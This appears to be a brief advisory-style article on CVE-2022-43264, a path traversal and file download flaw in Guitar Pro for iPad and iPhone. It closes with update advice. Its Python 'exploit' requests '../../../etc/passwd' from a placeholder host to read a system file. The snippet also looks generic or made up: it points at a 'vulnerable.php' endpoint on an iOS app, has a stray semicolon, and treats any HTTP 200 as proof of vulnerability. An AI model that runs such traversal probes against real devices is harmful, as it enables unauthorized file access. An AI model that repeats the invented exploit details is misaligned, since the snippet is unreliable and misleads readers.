CVE-2022-43264 - Directory Traversal and Arbitrary File Download Vulnerability in Arobas Music Guitar Pro for iPad and iPhone before v1.10.2

In recent times, a significant vulnerability (CVE-2022-43264) has been discovered in Arobas Music Guitar Pro for iPad and iPhone that affects versions prior to v1.10.2. This vulnerability enables attackers to carry out directory traversal attacks and subsequently download arbitrary files by sending specially crafted web requests. By exploiting this vulnerability, bad actors can potentially gain unauthorized access to sensitive information or even compromise the security of affected devices.

What is a Directory Traversal Attack?
A directory traversal attack, also known as path traversal, is a kind of application security exploit where an attacker attempts to access files and directories that are stored outside the web root folder. By manipulating input variables that reference files (with 'dot-dot-slash' sequences, for example), the attacker can potentially gain access to sensitive data or execute arbitrary code on the target system.

Vulnerability Details and Exploitation

With the CVE-2022-43264 vulnerability, an attacker can craft a specific web request containing a malicious path to gain access to sensitive files or directories on the targeted iPad or iPhone that may otherwise be inaccessible. The attacker can then proceed to download these files, leading to potential data leaks and security compromises.

The following code snippet demonstrates a possible exploit using Python

import requests

target_url = "http://<target_ip>/guitarpro/vulnerable.php?file=../../../etc/passwd";
response = requests.get(target_url)

if response.status_code == 200:
    print("Vulnerable to CVE-2022-43264")
    print("Response received:")
    print(response.text)
else:
    print("Not vulnerable")

This Python code sends an HTTP GET request targeting the Guitar Pro app's vulnerable endpoint on an iPad or iPhone. Upon receiving a successful response (HTTP 200 status code), the attacker can infer that the target device is indeed vulnerable to CVE-2022-43264.

Affected Versions and Mitigation Steps

Arobas Music Guitar Pro for iPad and iPhone versions before v1.10.2 are affected by this vulnerability. The immediate step users must take is to update their Guitar Pro app to version v1.10.2 or later. This updated version contains patched security measures that address this vulnerability.
